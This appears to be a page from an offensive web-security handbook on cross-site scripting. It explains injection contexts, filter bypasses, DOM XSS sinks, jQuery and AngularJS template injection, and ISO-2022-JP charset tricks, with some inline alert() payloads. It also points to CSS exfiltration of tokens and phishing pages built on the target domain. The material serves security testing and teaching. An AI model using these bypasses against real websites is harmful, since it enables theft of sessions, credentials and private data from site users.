Cross Site Scripting
HTML Injection
With zero protections, the simplest-to-understand injection is:
This starts JavaScript syntax using the <script>
tag, and executes the alert()
function. There are however a few caveats that will result in this payload not always working. The most important is the difference between server-inserted code and client-inserted code. When the server inserts your script into the HTML, the browser doesn't know any better and trusts the code so it will be run as if it is part of the first original page. When instead the code is possibly fetched and then inserted by some other client-side JavaScript code like element.innerHTML = "<script>..."
, it will be inserted after the document has already loaded, and follow some different rules. For one, inline scripts like these won't execute directly, as well as some other elements that are not directly loaded after they have been inserted into the DOM.
Because of the above reasons, it is often a safer idea to use a common payload like
The special thing about this payload is that an image should be loaded, which the browser really wants to do as soon as it is inserted, even on the client side. This causes the onerror=
handler to instantly trigger consistently, no matter how it is inserted (read more details in #triggers). In some cases a common variation is the following:
The small difference between these two payloads is that the first works everywhere except Firefox client-inserted, and the second works everywhere while remaining relatively short.
Special Tags
When inserted into the content of a <textarea>
, JavaScript code won't be directly executed in any way. Therefore you need to first close this specific tag using </textarea>
, and then continue with a regular XSS payload like normal.
Common Filter Bypasses
While the above are simple, they are also the most common, and many filters already recognize these patterns as malicious and block or sanitize your payload in some way that will try to make it look to Filter Bypass, but a few of the best tricks are displayed here. The first is when a RegEx pattern like <[^>]>
expects a >
to close a tag, which can be omitted often because another future tag will close it for you:
It is common for dangerous tags to be blacklisted, and any event handler attributes like onload
and onerror
to be blocked. There are some payloads however that can encode data to hide these obligatory strings (n
= HTML-encoded n
, CyberChef):
One last payload is a less well-known tag called <base>
which takes an href=
attribute that will decide where any relative URLs will start from. If you set this to your domain for example, and later in the document a <script src="/some/file.js">
is loaded, it will instead be loaded from your website at the path of the script.
To exploit and show a proof of concept of the above trick, I set up this domain that returns the same script for every path with any payload you put into that URL hash. This means you can include this injection anywhere, and put a JavaScript payload after the #
symbol of the target URL which will then be executed
See Filter Bypasses for a more broad approach to make your own bypass.
Alternative Impact
If inserting tags to achieve XSS is really not possible, due to a string filter or some other restriction, you can always try to get other impact using an HTML injection as they can be very powerful.
One idea is to use DOM Clobbering, which is a technique that uses id
's and other attributes of tags that make them accessible from JavaScript with the document.<name>
syntax. The possibility of this depends on what sinks are available, and should be evaluated case-by-case
If <iframe>
tags are allowed, you may be able to load an iframe of your malicious site. This can then access the top
variable in its JavaScript code to do some light interaction with the target page like top.location = "..."
to redirect it, or top.postMessage()
to send messages to "message"
event listeners on the target page, which may have sinks for XSS or other impact like stealing secrets. These could be vulnerable if the listeners don't check the origin or a message, and is even possible if X-Frame-Options
are denied as this happens on the target site itself.
Styles using CSS can also be dangerous. Not only to restyle the page, but with selectors and URLs any secrets on the page like CSRF tokens or other private data can be exfiltrated. For details on exploiting this, see this introduction, an improved version using @import
, and finally this tool.
As a last resort, Phishing can always be done using HTML to convince a user to input some credentials or perform some other action. Combining an <iframe>
with <style>
one can create a full-screen phishing page on the target domain, that may fool any user coming across it as the domain seems correct.
Attribute Injection
While HTML Injection is easy when you are injecting directly into a tag's contents, sometimes the injection point is inside a tag's attribute instead:
This is a blessing and a curse because it might look harder at first, but this actually opens up some new attack ideas that might not have been possible before. Of course, the same HTML Injection idea from before works just as well, if we close the attribute and start writing HTML:
However, this is not always possible as the <
and >
characters are often HTML encoded like <
and >
to make them represent data, not code. This would not allow us to close the <img>
tag or open a new tag to add an event handler to, but in this case we don't need it! Since we are already in an <img>
tag, we can simply add an attribute to it with a JavaScript event handler that will trigger:
The same goes for '
single quotes and no quotes at all, which just need spaces to separate attributes. Using the PortSwigger XSS Cheat Sheet you can filter for possible triggers of JavaScript using attributes on your specific tag by filtering it and looking at the payloads. Some of these will require some user interaction like onclick=
, but others won't. A useful trick with <input>
tags specifically is the onfocus=
attribute, together with the autofocus
attribute which will combine to make it into a payload not requiring user interaction.
Script Injection
A special case is when the injection is found inside of a <script>
tag. This may be done by developers when they want to give JavaScript access to some data, often JSON or a string, without requiring another request to fetch that data. When implemented without enough sanitization, however, this can be very dangerous as tags might not even be needed to reach XSS.
As always, a possibility is simply closing the context and starting an HTML Injection:
If these <
or >
characters are blocked or encoded however, we need to be more clever. Similarly to Attribute Injection, we can close only this string, and then write out arbitrary JavaScript code because are already in a <script>
block. Using the -
subtract symbol, JavaScript needs to evaluate both sides of the expression, and after seeing the empty ""
string, it will run the alert()
function. Finally, we need to end with a comment to prevent SyntaxError
s:
Another special place you might find yourself injecting into is template literals, surrounded by `
backticks, which allow variables and expressions to be evaluated inside of the string. This opens up more possible syntax to run arbitrary JavaScript without even having to escape the string:
Double Injection \
backslash trick
One last trick is useful when you cannot escape the string with just a "
quote, but when you do have two injections on the same line.
The important piece of knowledge is that any character escaped using a \
backslash character, which will interpret the character as data instead of code (see here for a table of all special backslash escapes). With this knowledge, we know a \"
character will continue the string and not stop it. Therefore if we end our input with a \
character, a "
quote will be appended to it which would normally close the string, but because of our injection cause it to continue and mess up the syntax:
The critical part here is that the 2nd string that would normally start the string is now stopping the first string instead. Afterwards, it switches to regular JavaScript context starting directly with our second input, which no longer needs to escape anything. If we now write valid JavaScript here, it will execute (note that we also have to close the }
):
Escaped /
bypass using <!--
comment
When injecting into a script tag that disallows quotes ("
), you may quickly jump to injecting </script>
to close the whole script tag and start a new one with your payload. If the /
character is not allowed, however, you cannot close the script tag in this way.
Instead, we can abuse a lesser-known feature of script contents (spec), where for legacy reasons, <!--
and <script
strings need to be balanced. When opening a HTML comment inside a script tag, any closing script tags before a closing comment tag will be ignored. If another later input of ours contains -->
, only then will the script tag be allowed to close via a closing script tag again.
This can cause all sorts of problems as shown in the example below (source, another example):
ExploitCopy :
Notice that the closing script tag on line 3 doesn't close it anymore, but instead, only after the closing comment inside of the attribute, it is allowed to again. By there closing it ourselves from inside the attribute, we are in an HTML context and can write any XSS payload!
For more advanced tricks and information, check out the JavaScript page!
DOM XSS
This is slightly different than previous "injection" ideas and is more focussed on what special syntax can make certain "sinks" execute JavaScript code.
The Document Object Model (DOM) is JavaScript's view of the HTML on a page. To create complex logic and interactivity with elements on the page there are some functions in JavaScript that allow you to interact with it. As a simple example, the document.getElementById()
function can find an element with a specific id=
attribute, on which you can then access properties like .innerHTML
:
DOM XSS is where an attacker can abuse the interactivity with HTML functions from within JavaScript by providing sources that contain a payload, which end up in sinks where a payload may trigger. A common example is setting the .innerHTML
property of an element, which replaces all HTML children of that element with the string you set. If an attacker controls any part of this without sanitization, they can perform HTML Injection just as if it was reflected by the server. A payload like the following would instantly trigger an alert()
:
Sources are where data comes from, and there are many for JavaScript. There might be a URL parameter from URLSearchParams
that is put in some HTML code, location.hash
for #...
data after a URL, simply a fetch()
, document.referrer
, and even "message"
listeners which allow postMessage()
communication between origins.
When any of this controllable data ends up in a sink without enough sanitization, you might have an XSS on your hands. Just like contexts, different sinks require different payloads. A location =
sink for example can be exploited using the javascript:alert()
protocol to evaluate the code, and an eval()
sink could require escaping the context like in Script Injection.
Note: A special less-known property is window.name
which is surprisingly also cross-origin writable. If this value is used in any sink, you can simply open it in an iframe or window like shown below and set the .name
property on it!
JQuery - $()
A special case is made for JQuery as it is still to this day a popular library used by many applications to ease DOM manipulation from JavaScript. The $()
selector can find an element on the page with a similar syntax to the more verbose but native document.querySelector()
function (CSS Selectors). It would make sense that these selectors would be safe, but if unsanitized user input finds its way into the selector string of this $
function, it will actually lead to XSS as .innerHTML
is used under the hood!
A snippet like the following was very commonly exploited (source):
Here the location.hash
source is put into the vulnerable sink, which is exploitable with a simple #<img src onerror=alert()>
payload. In the snippet, this is called on the hashchange
event it is not yet triggered on page load, but only after the hash has changed. In order to exploit this, we need to load the page normally first, and then after some time when the page has loaded we can replace the URL of the active window which will act as a "change". Note that reading a location is not allowed cross-origin, but writing a new location is, so we can abuse this.
If the target allows being iframed, a simple way to exploit this is by loading the target and changing the src=
attribute after it loads:
Otherwise, you can still load and change a URL by open()
'ing it in a new window, waiting some time, and then changing the location of the window you held on to (note that the open()
method requires user interaction like an onclick=
handler to be triggered):
Important to note is that the vulnerable code above with $(location.hash)
above is not vulnerable anymore with recent versions of JQuery because an extra rule was added that selectors starting with #
are not allowed to have HTML, but anything else is still vulnerable. A snippet like below will still be vulnerable in modern versions because it is not prefixed with #
, and it URL decodes the payload allowing the required special characters. Context does not matter here, simply <img src onerror=alert()>
anywhere in the selector will work.
JQuery also has many other methods and CVEs if malicious input ends up in specific functions. Make sure to check all functions your input travels through for possible DOM XSS.
Triggers (HTML sinks)
.innerHTML
.innerHTML + DOM
write()
open() write() close()
When placing common XSS payloads in the triggers above, it becomes clear that they are not all the same. Most notably, the <img src onerror=alert()>
payload is the most universal as it works in every situation, even when it is not added to the DOM yet. The common and short <svg onload=alert()>
payload is interesting as it is only triggered via .innerHTML
on Chome, and not Firefox. Lastly, the <script>
tag does not load when added with .innerHTML
at all.
Client-Side Template Injection
Templating frameworks help fill out HTML with user data and try to make interaction easier. While this often helps with auto-escaping special characters, it can hurt in some other ways when the templating language itself can be injected without HTML tags, or using normally safe HTML that isn't sanitized.
AngularJS is a common web framework for the frontend. It allows easy interactivity by adding special attributes and syntax that it recognizes and executes. This also exposes some new ways for HTML/Text injections to execute arbitrary JavaScript if regular ways are blocked. One caveat is that all these injections need to happen inside an element with an ng-app
attribute to enable this feature.
When this is enabled, however, many possibilities open up. One of the most interesting is template injection using {{
characters inside a text string, no HTML tags are needed here! This is a rather well-known technique though, so it may be blocked. In cases of HTML injection with strong filters, you may be able to add custom attributes bypassing filters like DOMPurify. See this presentation by Masato Kinugawa for some AngularJS tricks that managed to bypass Teams' filters.
Here are a few examples of how it can be abused on the latest version. All alerts fire on load:
Warning: In some older versions of AngularJS, there was a sandbox preventing some of these arbitrary code executions. Every version has been bypassed, however, leading to how it is now without any sandbox. See the following page for a history of these older sandboxes: https://portswigger.net/research/dom-based-angularjs-sandbox-escapes
Newer versions of Angular (v2+) instead of AngularJS (v1) are not vulnerable in this way.
Note: Injecting content with .innerHTML
does not always work, because it is only triggered when AngularJS loads. If you inject content later from a fetch, for example, it would not trigger even if a parent contains ng-app
.
You may still be able to exploit this by slowing down the AngularJS script loading by filling up the browser's connection pool. See this challenge writeup for details.
Alternative Charsets
Note: In this section, some ESC characters are replaced with \x1b
for clarity. You can copy a real ESC control character from the code block below:
If a response contains any of the following two lines, it is safe from the following attack.
If this charset is missing, however, things get interesting. Browsers automatically detect encodings in this scenario. The ISO-2022-JP encoding has the following special escape sequences:
\x1b(B
switch to ASCII (default)
\x1b(J
switch to JIS X 0201 1976 (backslash swapped)
\x1b$@
switch to JIS X 0201 1978 (2 bytes per char)
\x1b$B
switch to JIS X 0201 1983 (2 bytes per char)
These sequences can be used at any point in the HTML context (not JavaScript) and instantly switch how the browser maps bytes to characters. JIS X 0201 1976 is almost the same as ASCII, except for \
being replaced with ¥
, and ~
replaced with ‾
.
1. Negating Backslash Escaping
For the first attack, we can make \
characters useless after having written \x1b(J
. Strings inside <script>
tags are often protected by escaping quotes with backslashes, so this can bypass such protections:
2. Breaking HTML Context
The JIS X 0201 1978 and JIS X 0201 1983 charsets are useful for a different kind of attack. They turn sequences of 2 bytes into 1 character, effectively obfuscating any characters that would normally come after it. This continues until another escape sequence to reset the encoding is encountered like switching to ASCII.
An example is if you have control over some value in an attribute that is later closed with a double quote ("
). By inserting this switching escape sequence, the succeeding bytes including this closing double quote will become invalid Unicode, and lose their meaning.
By later in a different context ending the obfuscation with a reset to ASCII escape sequence, we will still be in the attribute context for HTML's sake. The text that was sanitized as text before, is now put into an attribute which can cause all sorts of issues.
With the next image tag being created, it creates an unexpected scenario where the opening tag is actually still part of the attribute, and the opening of its first attribute instead closes the existing one.
The 1.png
string is now syntax-highlighted as red, meaning it is now the name of an attribute instead of a value. If we write onerror=alert(1)//
here instead, a malicious attribute is added that will execute JavaScript without being sanitized:
Note: It is not possible to abuse JIS X 0201 1978 or JIS X 0201 1983 (2 bytes per char) encoding to write arbitrary ASCII characters instead of Unicode garbage. Only some Japanese characters and ASCII full-width alternatives can be created (source), except for two unique cases that can generate a $
and (
character found using this fuzzer: https://shazzer.co.uk/vectors/66efda1eacb1e3c22aff755c
This technique can also trivially bypass any server-side XSS protection (eg. DOMPurify) such as in the following challenge:
https://gist.github.com/kevin-mizu/9b24a66f9cb20df6bbc25cc68faf3d71
Last updated